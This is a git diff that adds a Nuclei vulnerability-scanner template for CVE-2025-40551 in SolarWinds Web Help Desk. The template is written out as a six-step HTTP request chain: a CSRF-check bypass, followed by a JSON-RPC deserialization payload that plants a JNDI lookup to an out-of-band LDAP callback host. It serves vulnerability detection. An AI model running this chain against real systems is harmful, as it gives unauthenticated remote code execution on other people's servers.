diff --git a/http/cves/2025/CVE-2025-40551.yaml b/http/cves/2025/CVE-2025-40551.yaml new file mode 100644 index 00000000000..0eb74804937 --- /dev/null +++ b/http/cves/2025/CVE-2025-40551.yaml @@ -0,0 +1,206 @@ +id: CVE-2025-40551 + +info: + name: SolarWinds Web Help Desk < 2026.1 - Unauthenticated JNDI Injection RCE + author: Horizon3.ai + severity: critical + description: | + SolarWinds Web Help Desk before version 2026.1 contains an insecure deserialization vulnerability in the jabsorb JSON-RPC library. When chained with a CSRF whitelist bypass (CVE-2025-40536), remote unauthenticated attackers can exploit JNDI injection via the Apache Xalan JNDIConnectionPool class to achieve remote code execution. The bypass involves including "/ajax/" in a query parameter to circumvent URI validation, while switching from "/ajax/" to "/wo/" endpoints bypasses payload sanitization routines. + impact: | + Remote attackers can execute arbitrary code on the host machine without authentication, potentially leading to full system compromise. + remediation: | + Update SolarWinds Web Help Desk to version 2026.1 or later. + reference: + - https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/ + - https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40551 + - https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm + - https://nvd.nist.gov/vuln/detail/CVE-2025-40551 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2025-40551 + cwe-id: CWE-502 + epss-score: 0.00866 + epss-percentile: 0.74688 + metadata: + verified: true + max-request: 6 + vendor: solarwinds + product: web_help_desk + shodan-query: http.favicon.hash:1895809524 + tags: cve,cve2025,solarwinds,webhelpdesk,deserialization,rce,jndi,oast + +flow: | + http("initial_session") && + http("login_pref_page") && + http("trigger_saml_object") && + http("create_jsonrpc_bridge") && + http("create_malicious_object") && + http("trigger_jndi_lookup") + +http: + - id: initial_session + method: GET + path: + - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa" + headers: + x-webobjects-recording: 1 + + matchers-condition: and + matchers: + - type: dsl + dsl: + - contains(tolower(all_headers), "x-webobjects-session-id") + - contains(tolower(all_headers), "xsrf-token") + - contains(toupper(all_headers), "JSESSIONID") + internal: true + condition: and + + - type: status + status: + - 200 + internal: true + + extractors: + - type: regex + name: wosid + part: header + regex: + - "[xX]-[W]ebobjects-[sS]ession-[iI]d: ([a-zA-Z0-9]{22})" + group: 1 + internal: true + + - type: regex + name: xsrf_token + part: header + group: 1 + regex: + - "Set-Cookie: XSRF-TOKEN=([a-z0-9-]{36});" + internal: true + + - id: login_pref_page + method: GET + path: + - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref" + headers: + X-Xsrf-Token: "{{xsrf_token}}" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - externalAuthContainer + - SAML 2.0 + internal: true + condition: and + + - type: status + status: + - 200 + internal: true + + extractors: + - type: regex + name: externalAuthContainer + part: body + group: 1 + regex: + - 'id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk.woa/ajax/[0-9]+\.[0-9]+)' + internal: true + + - id: trigger_saml_object + method: POST + path: + - "{{BaseURL}}/{{externalAuthContainer}}" + headers: + X-Xsrf-Token: "{{xsrf_token}}" + body: 0.7.1.3.1.0.0.0.1.1.0=1&_csrf={{xsrf_token}} + + matchers: + - type: status + status: + - 200 + internal: true + + - id: create_jsonrpc_bridge + method: GET + path: + - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref" + headers: + X-Xsrf-Token: "{{xsrf_token}}" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - JSONRpcClient + internal: true + + - type: status + status: + - 200 + internal: true + + extractors: + - type: regex + name: jsonrpc_endpoint + part: body + group: 1 + regex: + - "JSONRpcClient\\('/helpdesk/WebObjects/Helpdesk.woa/ajax/([0-9.]+)'\\);" + internal: true + + - id: create_malicious_object + method: POST + path: + - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}" + headers: + X-Xsrf-Token: "{{xsrf_token}}" + Content-Type: application/json + body: | + { + "bypass":"java.parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf", + "id":1, + "method":"wopage.setVariableValueForName", + "params":[ + "malicious", + { + "javaClass":"org.apache.xalan.lib.sql.JNDIConnectionPool", + "jndiPath":"ldap://{{interactsh-url}}/ou=ou,o=o" + } + ] + } + + matchers: + - type: status + status: + - 200 + internal: true + + - id: trigger_jndi_lookup + method: POST + path: + - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}" + headers: + X-Xsrf-Token: "{{xsrf_token}}" + Content-Type: application/json + body: | + { + "bypass":"java.parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf", + "id":1, + "method":"wopage.variableValueForName", + "params":["malicious"] + } + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "dns" + + - type: status + status: + - 200